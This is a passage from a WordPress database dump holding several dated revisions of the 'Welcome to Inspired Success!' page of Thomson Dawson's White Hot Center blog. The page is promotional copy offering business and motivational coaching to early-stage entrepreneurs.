cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-4', '', '', '2009-04-04 17:20:10', '2009-04-05 00:20:10', '', 10, 'http://www.whitehotcenter.com/10-revision-4', 0, 'revision', '', 0),
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(175, 2, '2014-09-18 15:05:30', '2014-09-18 22:05:30', '<h2></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/Thomson-3-20141.jpg"><img class="alignnone size-full wp-image-2781" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/Thomson-3-20141.jpg" alt="" width="495" height="279" /></a></h2>\r\n<h2>Inspiration, guidance and creativity for early stage entrepreneurs and small business owners who want more impact, influence and income.</h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, solo professional or small business owner, and you’re seeking useful information to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n<h2>As entrepreneurs, we intuitively know our sustained growth and success is the result of certain mindset. We focus on creating bigger better futures for our customers and clients knowing we can only receive more by becoming more.</h2>\r\nLike you, I’m fully committed to bringing more value to the world.  After nearly 30 years of business transformation and creative consulting with marketing executives in hundreds of leading organizations, I became obsessed with sharing my insight and expertise with early-stage entrepreneurs at the beginning of their success journey.\r\n\r\nThe White Hot Center is the expression of my passion for sharing ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement.\r\n\r\nThroughout the blog, you’ll find ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!\r\n\r\nAnd in the process, inspire you to action creating a life experience full of contribution, deep satisfaction, fulfillment, personal freedom and financial success.\r\n\r\nIf you find the ideas presented useful to your growth and expansion, please leave your comments and share with all your social networks. If you like, <a href="http://whc.fbdev.org/">subscribe to receive the White Hot Center </a>posts directly in your inbox.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer individual issue-based business transformation and creative consulting, group workshops and seminar trainings, tailored to entrepreneurs, solo professionals and small business owners at the beginning stages of their business growth and for those whose business growth has reached a plateau. You can review these programs under the "consulting" link in the main menu.\r\n\r\nMy individual consulting clients have at least three years of entrepreneurial experience and have annual incomes of $100K+ and seek to double or triple their income. The small business organizations I advise have annual revenues from $5-50million+. If you sense a good fit to help you accomplish your personal effectiveness and business goals, please <a title="Email Thomson Dawson" href="mailto://thomson@whitehotcenter.com" target="_blank">email </a>directly.\r\n\r\nTo you inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-autosave-v1', '', '', '2014-09-18 15:05:30', '2014-09-18 22:05:30', '', 172, 'http://www.whitehotcenter.com/172-autosave', 0, 'revision', '', 0),
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(2361, 2, '2013-08-03 16:53:47', '2013-08-03 23:53:47', '', 'Thomson Speaking', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-5-5', '', '', '2013-08-03 16:53:47', '2013-08-03 23:53:47', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/whc.thomson-51.jpg', 0, 'attachment', 'image/jpeg', 0),
(2359, 2, '2013-05-28 14:26:23', '2013-05-28 21:26:23', '<h2><img class="alignnone size-full wp-image-2298" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-5.jpg" alt="" width="495" height="306" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h2>\r\n<h2>Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong> <strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your customers and clients.</strong></h2>\r\n<h2>If you''re seeking inspiration, guidance and advise on making a quantum leap in your business success, I''m confident you''re going to really like what you find here!</h2>\r\nFirst off, the "first principles" that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nSuccess means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing it into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income! It''s no fun in crawliing your way to the middle!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives and their teams in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-05-28 14:26:23', '2013-05-28 21:26:23', '', 172, 'http://www.whitehotcenter.com/2013/05/172-revision-153/', 0, 'revision', '', 0),
(2314, 2, '2013-05-24 11:13:12', '2013-05-24 18:13:12', '<h2><img class="alignnone size-full wp-image-2298" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-5.jpg" alt="" width="495" height="306" /></h2>\r\n<h1><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h1>\r\n<h2>Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong> I am dedicated to support my fellow entreprenuers in<strong> diverse creative fields like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. </strong></h2>\r\n<h2><strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your clients.</strong> If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\n&nbsp;\r\n\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing it into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income! There''s no fun in crawliing your way to the middle!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-05-24 11:13:12', '2013-05-24 18:13:12', '', 172, 'http://www.whitehotcenter.com/2013/05/172-revision-150/', 0, 'revision', '', 0);
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(2300, 2, '2013-05-24 11:11:45', '2013-05-24 18:11:45', '<h2><img class="alignnone size-full wp-image-2298" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-5.jpg" alt="" width="495" height="306" /></h2>\r\n<h1>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</h1>\r\n<h2>Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong> I am dedicated to support my fellow entreprenuers in<strong> diverse creative fields like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. </strong></h2>\r\n<h2><strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your clients.</strong> If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\n&nbsp;\r\n\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing it into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income! There''s no fun in crawliing your way to the middle!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-05-24 11:11:45', '2013-05-24 18:11:45', '', 172, 'http://www.whitehotcenter.com/2013/05/172-revision-149/', 0, 'revision', '', 0),
(1794, 2, '2011-07-30 08:49:22', '2011-07-30 15:49:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog! I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life begins with passion and a commitment to pursue any idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with the creative process and the discipline it requires to persevere toward realizing big ideas no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money doing what really matters to you is  an important part of our conversation!\r\n\r\nI share what I have learned about life success from nearly three decades of being an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My entire professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-30 08:49:22', '2011-07-30 15:49:22', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-130/', 0, 'revision', '', 0),
(1694, 2, '2011-07-03 10:05:13', '2011-07-03 17:05:13', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h1><span style="color: #808080;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h1>\r\nI’m so delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that  inspire early-stage entrepreneurs at the  crossroads of personal and  professional growth, lifestyle design, value  creation and business  development. Creating meaningful success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2><strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong></h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:05:13', '2011-07-03 17:05:13', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-105/', 0, 'revision', '', 0),
(1693, 2, '2011-05-05 19:07:56', '2011-05-06 02:07:56', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m so delighted that you have found your way to the White Hot Center.  My purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nLike you, I’ve always been a seeker of greater wisdom in the areas of personal and professional growth. I’ve never stopped seeking knowledge and learning how do things better, to serve more people, to pursue my creative passions and, of course– create more money and freedom in my life.\r\n\r\n<strong>I’ve been there.</strong>\r\n\r\nI’m grateful for all the success I’ve experienced in my life. I’ve been blessed in so many ways in every area of my life. I’m proud to have the love and respect of my grown children, my life partner, colleagues and dear friends. I’m proud of my work, and grateful for the opportunities to serve others through it. I love being the master of my destiny. But being so, has not been easy.\r\n\r\nLooking back I can see many instances, over three-and-half decades of life experience, my own fear, prejudice and beliefs held me back from really going for it.  I have always highly valued the idea of personal accomplishment. Yet, I feared it as well. For many years, I felt like I had one foot on the gas and one on the brake. A subtle push-me-pull-me tension underpinned every cool idea I have had.\r\n\r\nBut I took risks anyway. Some things worked out, some things were crushing failures. I think it would be fair to categorize me as one who has defied conventional wisdom and blazed my own trial. I have no regrets.\r\n\r\nIn my professional life I have been an entrepreneur, designer, writer, creative director, design firm executive, brand strategy and marketing consultant. I''ve worked with executives in world-class global companies and with business leaders of innovative start-ups. For over 30 years, I have first hand knowledge and experience helping my clients innovate a formless idea, and turn it in to a multi-million dollar business. Learn more about my management consulting firm <a href="http://www.pullinc.com/" target="_blank"><strong>PULL Brand Innovation</strong></a>.\r\n<h2><span style="color: #f99805;">My greatest strength and greatest value lies in my ability to inspire business people to believe in their bigger future. To help them devise methods to turn possibilities into achievement. The White Hot Center is the creative venue through which I will help you do just that!\r\n</span></h2>\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and business development. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you''re burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-05-05 19:07:56', '2011-05-06 02:07:56', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-104/', 0, 'revision', '', 0),
(1607, 2, '2011-01-02 12:26:14', '2011-01-02 19:26:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nMy passion is inspiring creativity and innovative ideas that will help you expand your thinking to create a life of significance and contribution doing what you love powered by the ever growing financial success of your business. My mission is to inspire and guide you toward your best opportunities, and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director, brand strategy consultant serving global companies and small start-ups alike. My expertise helps business leaders discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n<h2><span style="color: #333333;">It''s  my intention to have the White Hot Center be your go-to source of  inspiration and innovation to help you tap into the power of your own  creative source of competitive advantage– your white hot center!</span></h2>\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation. I''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-01-02 12:26:14', '2011-01-02 19:26:14', '', 172, 'http://www.whitehotcenter.com/2011/01/02/172-revision-98/', 0, 'revision', '', 0),
(1427, 2, '2011-01-02 12:24:54', '2011-01-02 19:24:54', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nMy passion is inspiring creativity and innovative ideas that will help you expand your thinking to create a life of significance and contribution doing what you love powered by the ever growing financial success of your business. My mission is to inspire and guide you toward your best opportunities, and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<span style="color: #ff6600;"></span><strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, 